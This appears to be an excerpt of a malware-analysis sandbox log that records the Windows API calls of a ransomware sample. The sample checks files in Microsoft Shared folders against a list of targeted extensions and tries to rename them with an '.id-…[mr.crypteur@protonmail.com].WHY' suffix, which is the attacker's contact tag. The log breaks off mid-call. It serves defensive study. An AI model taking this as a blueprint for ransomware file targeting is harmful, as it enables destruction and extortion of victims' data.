[0208.477] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0208.477] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0208.477] lstrlenW (lpString=".jpg") returned 4 [0208.477] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0208.478] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0208.478] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0208.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0208.958] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1369952) returned 1 [0208.958] CloseHandle (hObject=0x2c4) returned 1 [0208.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0208.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.959] lstrlenW (lpString=".doc") returned 4 [0208.959] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0208.959] lstrlenW (lpString=".docx") returned 5 [0208.959] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0208.960] lstrlenW (lpString=".pdf") returned 4 [0208.960] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0208.960] lstrlenW (lpString=".xls") returned 4 [0208.960] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0208.960] lstrlenW (lpString=".xlsx") returned 5 [0208.960] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0208.960] lstrlenW (lpString=".ppt") returned 4 [0208.960] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0208.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.960] lstrlenW (lpString=".zip") returned 4 [0208.960] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0208.960] lstrlenW (lpString=".rar") returned 4 [0208.961] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0208.961] lstrlenW (lpString=".bz2") returned 4 [0208.961] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0208.961] lstrlenW (lpString=".7z") returned 3 [0208.961] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0208.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.961] lstrlenW (lpString=".dbf") returned 4 [0208.961] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0208.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.961] lstrlenW (lpString=".1cd") returned 4 [0208.961] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0208.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.962] lstrlenW (lpString=".jpg") returned 4 [0208.962] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0208.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.962] lstrlenW (lpString=".doc") returned 4 [0208.962] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0208.962] lstrlenW (lpString=".docx") returned 5 [0208.962] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0208.962] lstrlenW (lpString=".pdf") returned 4 [0208.962] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0208.962] lstrlenW (lpString=".xls") returned 4 [0208.962] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0208.962] lstrlenW (lpString=".xlsx") returned 5 [0208.962] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0208.962] lstrlenW (lpString=".ppt") returned 4 [0208.963] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0208.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.963] lstrlenW (lpString=".zip") returned 4 [0208.963] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0208.963] lstrlenW (lpString=".rar") returned 4 [0208.963] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0208.963] lstrlenW (lpString=".bz2") returned 4 [0208.963] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0208.963] lstrlenW (lpString=".7z") returned 3 [0208.963] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0208.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.963] lstrlenW (lpString=".dbf") returned 4 [0208.963] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0208.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.967] lstrlenW (lpString=".1cd") returned 4 [0208.967] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0208.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0208.967] lstrlenW (lpString=".jpg") returned 4 [0208.967] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0208.968] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0208.968] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0208.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0208.969] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=31104) returned 1 [0208.969] CloseHandle (hObject=0x2c4) returned 1 [0208.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0208.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.970] lstrlenW (lpString=".doc") returned 4 [0208.970] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0208.970] lstrlenW (lpString=".docx") returned 5 [0208.970] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0208.970] lstrlenW (lpString=".pdf") returned 4 [0208.970] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0208.971] lstrlenW (lpString=".xls") returned 4 [0208.971] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0208.971] lstrlenW (lpString=".xlsx") returned 5 [0208.971] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0208.971] lstrlenW (lpString=".ppt") returned 4 [0208.971] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0208.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.971] lstrlenW (lpString=".zip") returned 4 [0208.971] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0208.971] lstrlenW (lpString=".rar") returned 4 [0208.971] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0208.971] lstrlenW (lpString=".bz2") returned 4 [0208.971] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0208.972] lstrlenW (lpString=".7z") returned 3 [0208.972] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0208.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.972] lstrlenW (lpString=".dbf") returned 4 [0208.972] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0208.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.972] lstrlenW (lpString=".1cd") returned 4 [0208.972] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0208.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.972] lstrlenW (lpString=".jpg") returned 4 [0208.972] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0208.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.973] lstrlenW (lpString=".doc") returned 4 [0208.973] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0208.973] lstrlenW (lpString=".docx") returned 5 [0208.973] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0208.973] lstrlenW (lpString=".pdf") returned 4 [0208.973] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0208.973] lstrlenW (lpString=".xls") returned 4 [0208.973] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0208.973] lstrlenW (lpString=".xlsx") returned 5 [0208.973] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0208.973] lstrlenW (lpString=".ppt") returned 4 [0208.974] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0208.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.974] lstrlenW (lpString=".zip") returned 4 [0208.974] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0208.974] lstrlenW (lpString=".rar") returned 4 [0208.974] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0208.974] lstrlenW (lpString=".bz2") returned 4 [0208.974] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0208.974] lstrlenW (lpString=".7z") returned 3 [0208.974] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0208.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.975] lstrlenW (lpString=".dbf") returned 4 [0208.975] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0208.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.975] lstrlenW (lpString=".1cd") returned 4 [0208.975] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0208.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0208.975] lstrlenW (lpString=".jpg") returned 4 [0208.975] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0208.976] lstrcmpiW (lpString1=".dll", lpString2=".WHY") returned -1 [0208.976] lstrlenW (lpString="msgfilt.dll") returned 11 [0208.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0211.041] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=38768) returned 1 [0211.041] CloseHandle (hObject=0x2d0) returned 1 [0211.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0211.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0211.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.042] lstrlenW (lpString=".doc") returned 4 [0211.042] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0211.042] lstrlenW (lpString=".docx") returned 5 [0211.042] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0211.042] lstrlenW (lpString=".pdf") returned 4 [0211.043] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0211.043] lstrlenW (lpString=".xls") returned 4 [0211.043] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0211.043] lstrlenW (lpString=".xlsx") returned 5 [0211.043] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0211.043] lstrlenW (lpString=".ppt") returned 4 [0211.043] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0211.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.043] lstrlenW (lpString=".zip") returned 4 [0211.043] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0211.043] lstrlenW (lpString=".rar") returned 4 [0211.044] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0211.044] lstrlenW (lpString=".bz2") returned 4 [0211.044] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0211.044] lstrlenW (lpString=".7z") returned 3 [0211.044] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0211.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.045] lstrlenW (lpString=".dbf") returned 4 [0211.046] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0211.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.046] lstrlenW (lpString=".1cd") returned 4 [0211.046] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0211.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.046] lstrlenW (lpString=".jpg") returned 4 [0211.046] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0211.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.047] lstrlenW (lpString=".doc") returned 4 [0211.047] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0211.047] lstrlenW (lpString=".docx") returned 5 [0211.047] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0211.047] lstrlenW (lpString=".pdf") returned 4 [0211.048] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0211.048] lstrlenW (lpString=".xls") returned 4 [0211.048] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0211.049] lstrlenW (lpString=".xlsx") returned 5 [0211.049] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0211.049] lstrlenW (lpString=".ppt") returned 4 [0211.049] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0211.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.049] lstrlenW (lpString=".zip") returned 4 [0211.050] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0211.050] lstrlenW (lpString=".rar") returned 4 [0211.050] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0211.050] lstrlenW (lpString=".bz2") returned 4 [0211.050] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0211.050] lstrlenW (lpString=".7z") returned 3 [0211.051] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0211.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.051] lstrlenW (lpString=".dbf") returned 4 [0211.051] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0211.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.052] lstrlenW (lpString=".1cd") returned 4 [0211.052] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0211.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0211.052] lstrlenW (lpString=".jpg") returned 4 [0211.052] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0211.053] lstrcmpiW (lpString1=".FNT", lpString2=".WHY") returned -1 [0211.053] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0211.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0215.262] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=606062) returned 1 [0215.262] CloseHandle (hObject=0x2d0) returned 1 [0215.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0215.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.264] lstrlenW (lpString=".doc") returned 4 [0215.264] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0215.264] lstrlenW (lpString=".docx") returned 5 [0215.264] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0215.264] lstrlenW (lpString=".pdf") returned 4 [0215.264] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0215.264] lstrlenW (lpString=".xls") returned 4 [0215.264] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0215.265] lstrlenW (lpString=".xlsx") returned 5 [0215.265] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0215.265] lstrlenW (lpString=".ppt") returned 4 [0215.265] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0215.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.266] lstrlenW (lpString=".zip") returned 4 [0215.266] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0215.266] lstrlenW (lpString=".rar") returned 4 [0215.266] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0215.266] lstrlenW (lpString=".bz2") returned 4 [0215.266] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0215.266] lstrlenW (lpString=".7z") returned 3 [0215.266] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0215.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.266] lstrlenW (lpString=".dbf") returned 4 [0215.266] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0215.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.266] lstrlenW (lpString=".1cd") returned 4 [0215.267] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0215.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.267] lstrlenW (lpString=".jpg") returned 4 [0215.267] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0215.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.268] lstrlenW (lpString=".doc") returned 4 [0215.268] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0215.268] lstrlenW (lpString=".docx") returned 5 [0215.268] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0215.268] lstrlenW (lpString=".pdf") returned 4 [0215.268] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0215.268] lstrlenW (lpString=".xls") returned 4 [0215.268] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0215.268] lstrlenW (lpString=".xlsx") returned 5 [0215.269] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0215.269] lstrlenW (lpString=".ppt") returned 4 [0215.269] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0215.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.269] lstrlenW (lpString=".zip") returned 4 [0215.269] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0215.269] lstrlenW (lpString=".rar") returned 4 [0215.269] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0215.269] lstrlenW (lpString=".bz2") returned 4 [0215.269] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0215.269] lstrlenW (lpString=".7z") returned 3 [0215.270] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0215.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.271] lstrlenW (lpString=".dbf") returned 4 [0215.271] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0215.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.272] lstrlenW (lpString=".1cd") returned 4 [0215.272] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0215.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0215.272] lstrlenW (lpString=".jpg") returned 4 [0215.272] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0215.273] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0215.273] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0215.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0215.820] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1831424) returned 1 [0215.820] CloseHandle (hObject=0x2d0) returned 1 [0215.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0215.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0215.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.826] lstrlenW (lpString=".doc") returned 4 [0215.826] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0215.826] lstrlenW (lpString=".docx") returned 5 [0215.826] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0215.826] lstrlenW (lpString=".pdf") returned 4 [0215.826] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0215.826] lstrlenW (lpString=".xls") returned 4 [0215.826] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0215.826] lstrlenW (lpString=".xlsx") returned 5 [0215.827] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0215.827] lstrlenW (lpString=".ppt") returned 4 [0215.827] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0215.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0215.827] lstrlenW 